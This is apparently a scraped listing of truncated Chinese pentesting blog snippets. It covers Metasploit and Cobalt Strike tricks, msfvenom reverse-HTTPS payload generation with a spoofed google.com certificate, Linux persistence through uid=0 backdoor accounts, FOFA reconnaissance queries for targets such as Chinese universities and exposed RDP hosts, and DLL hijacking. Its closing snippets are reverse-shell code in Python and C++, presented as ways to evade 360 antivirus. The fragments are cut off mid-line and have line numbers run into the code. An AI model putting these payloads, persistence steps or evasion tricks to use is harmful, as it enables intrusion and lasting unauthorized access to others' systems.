Metasploit实战技巧
exploit-z
表示在完成 exploit 之后不会与会话进行交互。完成 exploit 之后,可以使用 sessions 查看会话信息。
session -u ID
将shell转变为meterpreter
db_nmap -sT -sV 192.168.0.103 -p 1433 扫描目标
使用 hosts 和 services 进行主机查看与服务查看
在 Metasploit 中使用 load minion 加载插件
connect 参数,类似于 netcat 功能
connect 192.168.1.5 555 可以直接连接主机的指定的端口
handler 命令
handler -p windows/meterpreter/reverse_tcp -H IP -P 4444
监听该ip的特定端口
sessions -i ID -n 会话名称
修改会话名称 区分不同会话
msf流量加密
生成证书
123456openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \-subj /C=UK/ST=London/L=London/O=Development/CN=www.google.com \-keyout www.google.com.key \-out www.google.com.crt && \cat www.google.com.key www.google.com.crt www.google.com.pem && \rm -f www.google.com.key www.google.com.crt
生成payload
1msfvenom -p windows/meterpreter/reverse_https lhost=192.168.199.156 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=server.pem PayloadUUIDName=qqy -f exe -o payload.exe
...
linux权限维持
添加uid=0的用户
创建用户
1useradd hello;echo 'tide:123456' | chpasswd # 创建用户hello并修改密码为123456
修改文件
1vi /etc/passwd # 修改passwd文件,将hello用户的uid改为0
添加普通用户
```shelluseradd -p openssl passwd -1 -salt 'salt' 123456 hello
1234567 使用useradd -p方法,通过 ` ` 存放可执行的系统命令;创建一个用户名为hello,密码为123456的普通用户;- 使用useradd -p方法,通过 "$()" 存放可执行的系统命令添加用户; ```shell useradd -p "$(openssl passwd -1 123456)" chiyu
chpasswd方法添加用户;
1useradd chiyu;echo 'chiyu:123456'|chpassw ...
fofa的使用
header=”thinkphp” && country=”CN”
header=”thinkphp” && country=”CN” && title=”后台管理”
加上时间,现在新网站有thinkphp日志泄露的有很多。
header=”thinkphp” && country=”CN” && title=”后台管理” && after=”2021-01-01”
搜索根域名中带有”buaa.edu.cn”的网站
domain=” buaa.edu.cn”
搜索域名中带有”edu”关键词的网站
host=”edu”
搜索指定的ip/ip段
ip=”120.27.6.1/24”
ip=”120.97.56.1”
搜索开放3389端口并且位于中国的IP
port=”3389” && country=CN
资产搜集的例子
title=”同济大学”
ip确认教育网归属
找c段目标 ip=”202.120.171.1/ ...
Docker工具
Docker Portainer
Portainer 是 Docker 一款可视化管理用具,用起来更加容易上手,部署的话也十分简单。
123456# 拉取镜像docker pull portainer/portainer# 一键部署docker volume create portainer_datadocker run -d -p 9000:9000 --name portainer --restart always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer
浏览器访问本地的9000端口即可进入到设置密码界面
Docker 基础命令
搜索镜像
1docker search 关键词
下载镜像
1docker pull 镜像名
查看已下载的镜像列表
1docker image ls
创建并使用容器
1docker run -it --name 容器名 镜像名/镜像ID /bin/bash
查看当前的容器
1docker ...
CURL使用
模拟 multipart/form-data 形式的 form 上传文件
1curl -F "filename=@/home/test/file.tar.gz" http://localhost/action.php
获取web服务器支持的方法
1234-i 显示响应中的http头 还包含报文中的内容-X 指定请求的http方法--head 只显示HTTP头的内容curl -i -X OPTIONS 192.168.1.3
提交POST请求
1curl -i -X POST -d "username=admin&passwd=12121" http://192.168.1.3/login
使用cookie
1curl --cookie "name=admin;xx=xx" http://192.168.1.3/login
设置user-agent
1curl -A "chrome"
设置来源
1curl -e "https://www.baidu.com" ht ...
cs的beacon转meterpreter
在msf中创建监听器
1234use exploit/multi/handlerset payload windows/meterpreter/reverse_httpset lhost 172.16.20.18set lport 3333
在cs中创建新的监听器,payload要与msf中的payload要一致。
在控制中右键–增加会话,选择msf的会话。此时会拿到meterpreter,输入shell会进入追命令执行操作界面。进入到cmd命令行中运行 chcp 65001, 可以防止乱码。
dll劫持
1.劫持产生的条件
不在’HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs’注册表中
其dll是EXE程序首先加载的DLL,而不是依赖其他DLL加载的。
DLL确实被加载进内存中
2.手动判断是否可以劫持利用进程查看软件 ProcessMonitor、ProcessExplorer、火绒剑等查看进程所加载的DLL文件,查看该dll是否存在KnownDlls注册表中。注册表中如果没有该DLL,那么就存在被劫持的风险。
3.自动化判断
1.Ratter https://github.com/sensepost/rattler/releases
DLL Hijack Auditor
dll_hijack_detect https://github.com/adamkramer/dll_hijack_detect/releases
ChkDllHijack https://github.com/anhkgg/anhkgg-tools
4.利用方式(1)注入1. ...
Python socket 免杀360
用socket编写通信脚本,将获取的命令直接执行并回显,适合直接反弹shell
123456789101112131415161718192021import osimport timeimport socket'''################'''server_ip = '' # 更改为控制端的IPserver_port = 13524 # 更改为控制端的第一PORT'''################'''s = socket.socket()while True: try: s.connect((server_ip, server_port)) break except: time.sleep(3)while True: s.send(b'[ltPPDS1:->') cmd = s.recv(1024).decode() i ...
C++将`运行木马代码用函数套娃
1234567891011121314151617181920212223242526#include <stdio.h>#include <stdlib.h>int main3(){ system(" 一句话反弹SHELL "); return 0;} int main2(){ //system("calc"); main3(); return 0;} int main1(){ main2(); return 0;} int main(){ main1(); return 0;}

